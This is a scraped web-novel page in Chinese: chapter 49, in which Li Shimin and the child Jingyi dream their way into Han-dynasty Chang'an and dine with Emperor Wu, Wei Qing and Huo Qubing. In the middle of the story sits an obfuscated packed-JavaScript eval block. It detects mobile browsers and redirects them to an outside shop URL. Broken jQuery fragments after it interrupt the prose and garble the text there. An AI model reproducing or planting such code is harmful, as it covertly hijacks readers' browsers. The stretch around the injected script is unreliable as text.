默认冷灰
24号文字
方正启体

49.第 49 章

作者:搅拌机本书字数:K更新时间:
    或许是那《鸣岐谱》残片带来的微妙影响,又或许是景颐自身能力随着心绪平复而自然成长,这次入梦,感觉格外不同。


    当李世民和景颐睁开眼,发现自己站在一条宽阔平整、车马粼粼的长安街道上时,竟有了一种奇异的真实感。


    阳光炽烈,空气干燥,尘土在光柱中飞舞,两侧是熟悉的汉式飞檐斗拱,却又与贞观长安的格局风貌有着微妙差异。他们的衣饰也化作了合乎此时此地风格的寻常布衣,混在人群中毫不突兀。


    “李叔叔,我们这是……到了哪里啊?”景颐扯了扯身上粗糙的葛布衣裳,好奇地东张西望,“感觉好真!比苏叔叔那次还像真的!”


    李世民亦在打量四周,观其行人衣裳形制,他心中有了猜测:“这里似乎是汉时,跟紧我,莫要乱跑。”


    可景颐哪里忍得住?尤其是在发现自己脚踏实地、能真切触摸到街边夯土墙、闻到空气中飘来的烤饼香气后,他像只放出笼的小鸟,在李世民无奈的视线范围内,哒哒哒地跑来跑去。


    “李叔叔快看!那个陶俑会动!是活的!”


    “哇!这家的旗子画了只大鸟!”


    “咦?他们说的话,好像和我们不太一样,但又能听懂……”


    忽然,他竖起了耳朵,旁边一个酒肆里,传出几个酒客高谈阔论的声音,隐隐夹杂着“匈奴”、“漠北”、“冠军侯”等字眼。


    景颐的眼睛“唰”地亮了,他猛地抓住李世民的手,兴奋地压低声音:“李叔叔!你听见了吗?他们在说霍去病!冠军侯!我们真的到霍将军在的时候了!”


    他挣脱李世民的手,像只小猎犬一样,竖起耳朵循着声音最清晰的方向凑过去,扒在酒肆窗根下偷听。


    “……可不是!自打去岁漠北那一战,冠军侯封狼居胥,匈奴远遁,漠南无王庭!了不得!真乃天神下凡!”


    “我有个远房表亲在期门军当差,说前儿还远远瞧见冠军侯骑马从北阙那边过,嚯,那精气神,跟一杆标枪似的!”


    “真想一睹冠军侯风采!”


    霍将军可能就在长安!景颐的心怦怦直跳,那个在坏大师口中“二十四岁就死了”的悲剧英雄,那个让李叔叔都惋惜不已的少年战神,此刻可能就在这座城里!


    他要看看,霍去病到底长什么样!是不是像戏文里说的,身高八丈,腰围也是八丈,眼睛像铜铃,一声吼就能吓退千军万马。


    他立刻直起身,小脑袋转来转去,在街上搜寻像霍去病的人。很快,他锁定了一个目标,前方不远处,一个刚从武库方向走出来、身穿崭新皮质札甲、腰佩环首刀、步履沉稳的军官,看着就很威风!


    “霍将军!是霍将军吗?”景颐想也没想,兴奋地喊了一嗓子,迈开小短腿就要冲过去。


    李世民吓得魂飞魄散,一个箭步上前,大手一把捂住景颐的嘴,将他牢牢箍在怀里,低喝道:“胡闹!” 他冷汗都下来了,在这人生地不熟、戒备森严的汉长安,胡乱指认大将,被当做细作或惊扰军中,麻烦就大了!


    那军官闻声回头,疑惑地看了一眼被捂住嘴、只露出一双滴溜溜乱转大眼睛的景颐,以及一脸歉然、衣着普通的李世民,皱了皱眉,没说什么,转身走了。


    李世民松了口气,这才松开手,将景颐带到僻静处,弯下腰,严肃地看着他:“景颐,此地非比寻常,不可造次,若惹来麻烦,如何是好?”


    景颐被捂得差点喘不过气,小脸憋得通红,闻言委屈地扁了扁嘴,大眼睛里漫上水汽:“可是……好不容易来一趟,那个坏梦都不让我们见一下……我就想看看他长什么样嘛……” 声音带着浓浓的失落和不解,仿佛在质问这个梦境为何如此不近人情。


    李世民看着他这副模样,心又软了,正想再安抚几句,忽然,一个带着几分笑意、却又充满威严的成熟男声从他们身后响起:


    “哦?你这小儿,为何如此想见霍去病?”


    李世民心头一凛,瞬间绷紧了神经,景颐也吓了一跳,转过身。


    只见身后站着三人。中间一人,年约三旬,身着赭红深衣,外罩一件不起眼的青色外袍,但眉宇间英气勃发,目光深邃锐利,负手而立,自有一股不怒自威的气度。


    他左侧一人,年纪稍长,面容儒雅温和,目光沉静,嘴角噙着淡淡笑意,气度沉稳如山。右侧一人,最为年轻,看上去不过十八九岁,身姿挺拔如松,面容俊朗,只是神色略显冷峻沉默,此刻正微微蹙眉,带着审视打量着李世民和景颐。


    这三人衣着看似普通,但那份久居人上的气度,和周身隐隐萦绕的铁血与贵气,绝非寻常百姓。尤其是中间那男子看景颐的眼神,带着一种饶有兴味的探究。


    景颐却不懂这些,他只觉得这叔叔问得正好,立刻把对李世民的警告抛到脑后,挺起小胸膛,理所当然、脆生生地回答:“因为他很厉害呀!李叔叔说他打仗天下第一厉害!十七岁就能带兵打跑坏人,封什么狼居胥,是英雄!英雄当然要观摩一下!而且……”


    他顿了顿,小脸上露出认真的神色,声音低了些,带着点孩童天真的忧虑,“他这么厉害的人,一定要长命百岁才可以!不然多可惜呀!”


    “长命百岁?” 中间那红衣男子眼中笑意微敛,锐利的目光在景颐和李世民身上扫过,尤其在听到“李叔叔说他打仗天下第一厉害”时,眼神更深了些。他左侧的儒雅男子眼中也掠过一丝讶异,右侧的青年眉头皱得更紧,看着景颐的眼神多了几分复杂。


    刘彻心中疑窦顿生,这孩童言语天真,但“观摩”、“长命百岁”之语,却透着一股不寻常。


    观这二人,大的气度不凡,龙章凤姿,绝非池中之物,小的灵秀逼人,眼眸清澈见底,却又仿佛藏着星光。长安何时多了这样一对人物?还如此关心去病寿数?


    他本就是极信天命、好奇异之士的帝王,此刻兴致大起,哈哈一笑,那股迫人的威压稍敛,换上了较为随和的表情:“想不到小娃娃倒有几分见识,也懂惜才。相逢即是有缘,不如由某做东,请二位吃顿便饭,聊聊这长安风物,如何?” 他语气随意,却带着不容拒绝的意味,目光却是看向李世民。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254348|195893||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    景颐一听吃饭,眼睛顿时又亮了!新的地方,新的美食!他立刻忘了刚才的失落,拽了拽李世民的袖子,满眼期待。


    李世民心中警铃大作,这三人气质非凡,尤其是中间这位,给他一种极其强烈的、似曾相识的压迫感,那是久居至尊之位、生杀予夺蕴养出的无形气势。他几乎可以肯定,这必是汉武帝刘彻无疑!旁边那沉稳的应是卫青,那冷峻青年,定是霍去病!竟然就这样撞上了!


    拒绝?恐怕不妥,更惹疑心。他只得按下心中惊涛,拱手道:“恭敬不如从命,只是我叔侄二人乃外来行商,粗鄙之人,恐扰了贵人雅兴。”


    “无妨,随意聊聊。”刘彻大手一挥,当先引路,走向不远处一家看起来颇为清雅的食肆。卫青微笑示意,霍去病沉默跟上,目光却始终若有若无地锁在景颐身上。


    食肆雅间,酒菜上桌,确是这个时代的上等席面,炙肉、鱼脍、羹汤、时蔬,还有醇厚的米酒。刘彻很是热情,频频劝酒给李世民。


    景颐迫不及待地夹了一筷子炙肉塞进嘴里,嚼了嚼,小脸却慢慢垮了下来,他努力咽下去,小声嘀咕:“没有李叔叔家的厨子做的好吃……也没有苏叔叔点的菜好吃……肉有点柴,味道也淡……”


    他声音虽小,但在座哪个不是耳聪目明?卫青闻言,温和笑道:“小郎君是长安人?听口音不太像。可是觉得这炙肉不合口味?长安各家食肆风味确有不同。”


    景颐摇摇头,老实道:“我不是长安人。这肉不难吃,就是……没我想的那么好。”


    他到底孩子心性,很快抛开这点小失望,又兴奋起来,开始掰着手指头数他吃过的好东西:“我跟你们说,有一种叫拨霞供的汤,可鲜了!还有蟹酿橙,把螃蟹肉放在橙子里蒸,又香又甜!还有蜜三刀,外面裹着糖和芝麻,咬一口能拉好长的丝!可好吃了!还有……”


    他描述得活灵活现,有些菜名连刘彻都未听过,但听那做法和用料,显然并非此时长安能有。刘彻眼中兴味更浓,一边含笑听着,一边对身后侍立的心腹微微颔首,那心腹立刻会意,将景颐提到的几样美食暗暗记下。


    待景颐说得差不多,刘彻才端起酒杯,状似随意地问道:“方才听小郎君言,希望去……嗯,希望那位少年将军长命百岁,此言,似乎另有所指?莫非小郎君,懂得相面推演之术?” 他话是如此,却直直看向李世民。


    来了,李世民心中一凛,知道这是试探。他神色不变,为景颐夹了一筷子清淡的蔬菜,才缓缓道:“小儿顽皮,信口开河罢了,不过是听坊间传颂冠军侯英武,孩童心性,慕其英豪,故有此天真之愿。长命百岁,亦是寻常祝祷之语,当不得真。”


    他四两拨千斤,将景颐的话完全归为童言与对英雄的单纯敬慕,避开了任何可能的预言指向。


    刘彻岂是轻易能糊弄的?他手指轻点桌面,目光如炬:“哦?仅是坊间传闻,便能令小郎君如此挂心寿数?某观二位,气度不凡,不似寻常商贾。这位小郎君灵秀逼人,方才那所言,可不像是单纯学舌,先生何必过谦?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)